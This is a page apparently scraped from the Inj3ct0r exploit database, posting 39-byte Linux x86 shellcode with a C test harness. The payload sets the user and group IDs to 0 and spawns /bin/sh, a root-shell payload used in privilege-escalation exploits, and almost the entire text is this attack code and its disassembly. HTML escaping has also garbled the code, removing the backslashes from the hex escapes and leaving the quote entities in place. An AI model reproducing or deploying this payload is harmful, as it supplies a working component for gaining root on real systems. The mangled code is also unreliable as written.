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linux/x86 sys_setuid(0) & sys_setgid(0) & execve (&q

Posted on 01 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 sys_setuid(0) &amp; sys_setgid(0) &amp; execve (&quot;/bin/sh&quot;) 39 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=====================================================================
linux/x86 sys_setuid(0) &amp; sys_setgid(0) &amp; execve (&quot;/bin/sh&quot;) 39 bytes
=====================================================================


/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               #########################################              1
0               I'm gunslinger_ member from Inj3ct0r Team              1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name   : 39 bytes sys_setuid(0) &amp; sys_setgid(0) &amp; execve (&quot;/bin/sh&quot;) x86 linux shellcode
Date   : Tue Jun  1 21:29:10 2010
Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt;
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
*/
#include &lt;stdio.h&gt;

char *shellcode=
		&quot;xebx19&quot;                    /* jmp    0x804807b */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0x17&quot;                    /* mov    $0x17,%al */
		&quot;x31xdb&quot;                    /* xor    %ebx,%ebx */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0x2e&quot;                    /* mov    $0x2e,%al */
		&quot;x31xdb&quot;                    /* xor    %ebx,%ebx */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0x0b&quot;                    /* mov    $0xb,%al */
		&quot;x5b&quot;                        /* pop    %ebx */
		&quot;x89xd1&quot;                    /* mov    %edx,%ecx */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;xe8xe2xffxffxff&quot;        /* call   0x8048062 */
		&quot;x2f&quot;                        /* das     */
		&quot;x62x69x6e&quot;                /* bound  %ebp,0x6e(%ecx) */
		&quot;x2f&quot;                        /* das     */
		&quot;x73x68&quot;                    /* jae    0x80480ef */
		&quot;&quot;;

int main(void)
{
		fprintf(stdout,&quot;Length: %d
&quot;,strlen(shellcode));
		((void (*)(void)) shellcode)();
		return 0;
}


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